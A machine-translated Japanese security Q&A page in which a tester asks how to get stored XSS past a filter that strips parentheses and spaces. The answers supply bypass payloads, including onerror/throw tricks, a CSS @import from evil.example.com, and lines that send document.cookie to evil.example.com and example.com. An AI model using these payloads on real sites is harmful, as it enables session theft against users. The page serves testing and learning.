web-dev-qa-db-ja.com

かっこやスペースのないストアドクロスサイトスクリプティング

_http://google.com_という形式のリンクを取得し、hrefタグに挿入するコメントアプリケーションをテストしています。

_<a rel="nofollow" href="http://google.com">
_

結果のコメントから_http://_または_https://_が取り除かれます。

テストでは、ページにhttp://"onmouseover="alert(1);があるように、何らかの形で<a href="http://"onmouseover="alert(1);">を利用しようとしましたが、機能していません。

より詳しい情報:

  1. かっこは除外されます。さまざまなエンコーディングを試しました。

  2. _<script>_タグはフィルタリングされますが、_<scr<script>ipt>_を使用してこれを回避できます。

  3. スペースは使用できません(スペースを使用するとタグが壊れます)。私はASCIIおよび%20を試しました。

  4. セミコロンを使用できますが、最後の文字になる場合は2倍にする必要があります。

  5. 山括弧、二重引用符、一重引用符、スラッシュ、バックスラッシュ、コロンはすべて、フィルターなしで通過します。

以前に使用したことがある_<script>alert;throw 1;<script>_を使用する方法が本当にわかりません。何も実行しないようで、実行してもスペースを使用できません。

何か案は?

私の例では次のフィルターを想定しています(説明と一致しているようです。scriptおよび_;_フィルターは無視してください。簡単にするために、回避できると言っていました)。

_$hasSpace = preg_match('/\s/', $_GET['v']);
if ($hasSpace) {
    echo 'space!';
} else {
    $replaced = str_replace(array('(', ')'), '', $_GET['v']);
    echo '<a href="' . $replaced . '">link</a>';
}
_

スタイルシートを含める

次のように XSS経由でスタイルシートを含める が可能です。

_"><style>@import'http://evil.example.com/xss.css';</style>
_

これでWebサイトのレイアウトを変更できるようになりましたが、これは悪くありません。

CSS経由のXSS

上記でリンクした投稿で、CSSを使用してJavaScriptを実行する方法の1つを確認できます(background-image: url('javascript:alert(document.cookie);');私にはうまくいきませんでしたが、うまくいくかもしれません)。

そして、Webで さらなる可能性 を検索できます(IEの古いバージョンのexpressionなど)。

スペースでのonerrorの使用

_<script>alert;throw 1;<script>_の使い方がわかりません

これはかなり良い説明です onerror XSSの仕組み

上記のmy PHPコードを変更して空白を許可する(ifを削除する)場合、これを攻撃に使用できます。

_"><script>onerror=alert;throw 1;</script>
_

基本的に、エラーが発生した場合、アラートが呼び出される(エラーを引数として)と述べています。そして、エラーが作成されます。 _throw "XSS"_を使用すると、XSSが警告されます。

スペースなしでonerrorを使用する

いいこと? スペースすら必要ありません:_throw+1_も同様に機能します。

スペースだけでなく、すべての空白が除外されている場合、これも機能しません。ただし、これをsomethingに変更すると、引き続き機能します(somethingが定義されていないため、参照エラーが発生します)。

スペースはフィルタリングされているが、空白はフィルタリングされていない場合

次のようなフィルターがある場合:元のコードの空白正規表現の代わりにstr_replace(array('(', ')', ' ')を使用すると、スペースを_+_に置き換えることができます。たとえば、次のようにします。

_"+onmouseover="document.location='http://evil.example.com/logger.php?c='%2Bdocument.cookie
_
2
tim

どうですか:

javascript:document.location.href='http://www.example.com/'+document.cookie

または

"/><scri<script>pt>document.location.href='http://www.example.com/'+document.cookie</script>

彼らはあなたが発見したフィルタリングルールを順守していますか?私が理解しなかった唯一のビットはあなたが言ったときでした:

結果のコメントからhttp://またはhttps://が削除されます。

<a>タグと</a>タグの間の部分ですか?http://www.google.comは通常<a rel="nofollow" href="http://google.com">google.com</a>としてレンダリングされますか?

1
SilverlightFox

まず第一に、実際には/ charを使用してhtml内のタグを分割できます。一般的な例は、<svg/onload=alert(1)です。

あなたの場合、http://"/onmouseover="alert(1)のようなペイロードを試してください。うまくいくはずです。

次に、ペイロード内のセミコロンなど、ペイロード内の不要なシンボルを回避してみてください。また、引用符"はほとんどの場合不要な記号です(今のところはそうではありません)。したがって、onload=<your_paylaod>の代わりにonload="<your_payload>"を記述してみてください。

3番目に、onclickonmouseoverなどのser-interactionアクションを使用しないでください。 onloadonerrorを使用するか、onfocus=<your_payload> autofocusのように組み合わせます。

次に、括弧が許可されていない場合は、括弧の代わりにPromptを使用してみてください。 (ウィキフォーマットでは、ストローク内の値を印刷することができないため、理解していただければ幸いです。

最後に、一般的なxssフィルターをエスケープするには、Prompt(1)の代わりにalert(1)を使用し、<svgの代わりに<imgを使用し、document['cookie']の代わりにdocument.cookieを使用します。

幸運を。

0
PaulOverflow